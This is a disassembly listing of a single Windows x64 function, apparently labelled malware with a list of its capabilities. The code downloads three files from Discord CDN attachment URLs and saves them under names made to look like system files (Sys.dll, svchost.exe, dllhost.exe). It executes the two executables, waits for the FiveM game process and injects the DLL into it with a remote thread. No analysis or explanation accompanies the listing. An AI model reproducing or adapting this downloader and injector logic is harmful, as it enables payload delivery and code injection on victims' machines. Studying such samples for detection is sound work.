Function at 0x1400014c0
Capabilities:
Create thread
Download url
Execute command
Inject dll
Inject thread
Receive data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
lea rbp, [rsp - 0x2a0]
sub rsp, 0x3a0
mov rax, qword [0x140007008]
xor rax, rsp
mov qword [rbp + 0x290], rax
mov ecx, 1
call fcn.1400022b4
mov qword [rbp + 0x170], rax
lea rcx, [rsp + 0x48]
mov qword [rsp + 0x28], rcx
xor r14d, r14d
mov dword [rsp + 0x20], r14d
mov r9, rax
lea r8, [0x140002230]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x40], rax
test rax, rax
je 0x140001d53
cmp dword [rsp + 0x48], r14d
jne 0x14000154c
lea ecx, [r14 + 1]
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
movaps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rbp + 0x170], xmm0
lea rcx, [rbp + 0x170]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
je 0x140001573
mov ecx, eax
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_C_error_int_]
nop
mov dword [rsp + 0x60], 0x130
xor edx, edx
mov r8d, 0x12c
lea rcx, [rsp + 0x64]
call sub.VCRUNTIME140.dll_memset
mov qword [rbp + 0xa0], r14
mov qword [rbp + 0xa8], 0xf
mov byte [rbp + 0x90], 0
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp + 0x180]
call sub.VCRUNTIME140.dll_memset
xor r9d, r9d
lea r8, [rbp + 0x180]
mov edx, 0x104
lea rcx, str.C:WindowsSystem32Sys.dll
call qword [sym.imp.KERNEL32.dll_GetFullPathNameA]
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x58], 0xf
mov byte [rsp + 0x40], 0
mov r8d, 0x104
lea rdx, [rbp + 0x180]
lea rcx, [rsp + 0x40]
call fcn.140001e30
mov rdx, qword [rbp + 0xa8]
cmp rdx, 0x10
jb 0x140001641
inc rdx
mov rcx, qword [rbp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000163c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001cbc
call fcn.1400022f0
movups xmm0, xmmword [rsp + 0x40]
movups xmmword [rbp + 0x90], xmm0
movups xmm1, xmmword [rsp + 0x50]
movups xmmword [rbp + 0xa0], xmm1
lea rdx, str.Waiting_for
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001f90
mov rcx, rax
lea rdx, str.FiveM_GTAProcess.exe
call fcn.140001f90
mov rcx, rax
lea rdx, str._...
call fcn.140001f90
mov rcx, rax
lea rdx, [0x140002160]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov qword [rbp + 0x160], r14
mov qword [rbp + 0x168], 0xf
mov byte [rbp + 0x150], 0
mov r8d, 0x1b
lea rdx, str.C:WindowsSystem32Sys.dll
lea rcx, [rbp + 0x150]
call fcn.140001e30
nop
mov qword [rbp + 0x140], r14
mov qword [rbp + 0x148], 0xf
mov byte [rbp + 0x130], 0
mov r8d, 0x24
lea rdx, str.C:UsersDefaultAppData_svchost.exe
lea rcx, [rbp + 0x130]
call fcn.140001e30
nop
mov qword [rbp + 0x120], r14
mov qword [rbp + 0x128], 0xf
mov byte [rbp + 0x110], 0
mov r8d, 0x24
lea rdx, str.C:UsersDefaultAppDatadllhost.exe
lea rcx, [rbp + 0x110]
call fcn.140001e30
nop
mov qword [rbp + 0x100], r14
mov qword [rbp + 0x108], 0xf
mov byte [rbp + 0xf0], 0
mov r8d, 0x54
lea rdx, str.https:__cdn.discordapp.com_attachments_655770993381343254_776868328593031178_Sys.dll
lea rcx, [rbp + 0xf0]
call fcn.140001e30
nop
mov qword [rbp + 0xe0], r14
mov qword [rbp + 0xe8], 0xf
mov byte [rbp + 0xd0], 0
mov r8d, 0x58
lea rdx, str.https:__cdn.discordapp.com_attachments_778047327356715008_778047359816958002_svchost.exe
lea rcx, [rbp + 0xd0]
call fcn.140001e30
nop
mov qword [rbp + 0xc0], r14
mov qword [rbp + 0xc8], 0xf
mov byte [rbp + 0xb0], 0
mov r8d, 0x58
lea rdx, str.https:__cdn.discordapp.com_attachments_778047327356715008_778047362186215454_dllhost.exe
lea rcx, [rbp + 0xb0]
call fcn.140001e30
nop
lea r8, [rbp + 0x150]
cmp qword [rbp + 0x168], 0x10
cmovae r8, qword [rbp + 0x150]
lea rdx, [rbp + 0xf0]
cmp qword [rbp + 0x108], 0x10
cmovae rdx, qword [rbp + 0xf0]
mov qword [rsp + 0x20], r14
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea r8, [rbp + 0x130]
cmp qword [rbp + 0x148], 0x10
cmovae r8, qword [rbp + 0x130]
lea rdx, [rbp + 0xd0]
cmp qword [rbp + 0xe8], 0x10
cmovae rdx, qword [rbp + 0xd0]
mov qword [rsp + 0x20], r14
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea r8, [rbp + 0x110]
cmp qword [rbp + 0x128], 0x10
cmovae r8, qword [rbp + 0x110]
lea rdx, [rbp + 0xb0]
cmp qword [rbp + 0xc8], 0x10
cmovae rdx, qword [rbp + 0xb0]
mov qword [rsp + 0x20], r14
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rcx, str.C:UsersDefaultAppDatadllhost.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:UsersDefaultAppData_svchost.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x58], 0xf
mov byte [rsp + 0x40], 0
mov r8d, 0x14
lea rdx, str.FiveM_GTAProcess.exe
lea rcx, [rsp + 0x40]
call fcn.140001e30
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x40]
call fcn.140001210
test al, al
jne 0x140001928
nop dword [rax]
mov ecx, 0x9c40
call qword [sym.imp.KERNEL32.dll_Sleep]
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x58], 0xf
mov byte [rsp + 0x40], 0
mov r8d, 0x14
lea rdx, str.FiveM_GTAProcess.exe
lea rcx, [rsp + 0x40]
call fcn.140001e30
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x40]
call fcn.140001210
test al, al
je 0x1400018e0
lea rdx, str.Found_FiveM__injecting_in_a_few_seconds...
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001f90
mov rcx, rax
lea rdx, [0x140002160]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x1b58
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r8d, dword [rsp + 0x68]
xor edx, edx
mov ecx, 0x43a
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
jne 0x140001993
lea rdx, str.Process_cannot_be_opened
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001f90
mov rcx, rax
lea rdx, [0x140002160]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.LoadLibraryA
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
mov r8, qword [rbp + 0xa0]
inc r8
mov dword [rsp + 0x20], 4
xor edx, edx
mov r9d, 0x3000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
test rax, rax
jne 0x140001a06
lea rdx, str.Library_name_cannot_be_allocated
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001f90
mov rcx, rax
lea rdx, [0x140002160]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140001aa7
lea r8, [rbp + 0x90]
cmp qword [rbp + 0xa8], 0x10
cmovae r8, qword [rbp + 0x90]
mov r9, qword [rbp + 0xa0]
inc r9
mov qword [rsp + 0x20], r14
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140001a45
lea rdx, str.Library_name_cannot_be_written
jmp 0x1400019e5
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], rdi
mov r9, rsi
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
jne 0x140001a76
lea rdx, str.Threads_cannot_be_created
jmp 0x1400019e5
lea rdx, str.Successfully_injected
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001f90
mov rcx, rax
lea rdx, [0x140002160]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
test rbx, rbx
je 0x140001aa7
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
mov rdx, qword [rbp + 0xc8]
cmp rdx, 0x10
jb 0x140001af7
inc rdx
mov rcx, qword [rbp + 0xb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001af2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001af2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400022f0
mov qword [rbp + 0xc0], r14
mov qword [rbp + 0xc8], 0xf
mov byte [rbp + 0xb0], 0
mov rdx, qword [rbp + 0xe8]
cmp rdx, 0x10
jb 0x140001b54
inc rdx
mov rcx, qword [rbp + 0xd0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001b4f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001b4f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400022f0
mov qword [rbp + 0xe0], r14
mov qword [rbp + 0xe8], 0xf
mov byte [rbp + 0xd0], 0
mov rdx, qword [rbp + 0x108]
cmp rdx, 0x10
jb 0x140001bb1
inc rdx
mov rcx, qword [rbp + 0xf0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001bac
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001bac
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400022f0
mov qword [rbp + 0x100], r14
mov qword [rbp + 0x108], 0xf
mov byte [rbp + 0xf0], 0
mov rdx, qword [rbp + 0x128]
cmp rdx, 0x10
jb 0x140001c0e
inc rdx
mov rcx, qword [rbp + 0x110]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001c09
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001c09
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400022f0
mov qword [rbp + 0x120], r14
mov qword [rbp + 0x128], 0xf
mov byte [rbp + 0x110], 0
mov rdx, qword [rbp + 0x148]
cmp rdx, 0x10
jb 0x140001c6b
inc rdx
mov rcx, qword [rbp + 0x130]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001c66
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001c66
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400022f0
mov qword [rbp + 0x140], r14
mov qword [rbp + 0x148], 0xf
mov byte [rbp + 0x130], 0
mov rdx, qword [rbp + 0x168]
cmp rdx, 0x10
jb 0x140001cc8
inc rdx
mov rcx, qword [rbp + 0x150]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001cc3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001cc3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400022f0
mov qword [rbp + 0x160], r14
mov qword [rbp + 0x168], 0xf
mov byte [rbp + 0x150], 0
mov rdx, qword [rbp + 0xa8]
cmp rdx, 0x10
jb 0x140001d25
inc rdx
mov rcx, qword [rbp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001d20
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001d20
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400022f0
xor eax, eax
mov rcx, qword [rbp + 0x290]
xor rcx, rsp
call fcn.140002290
lea r11, [rsp + 0x3a0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
mov dword [rsp + 0x48], r14d
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3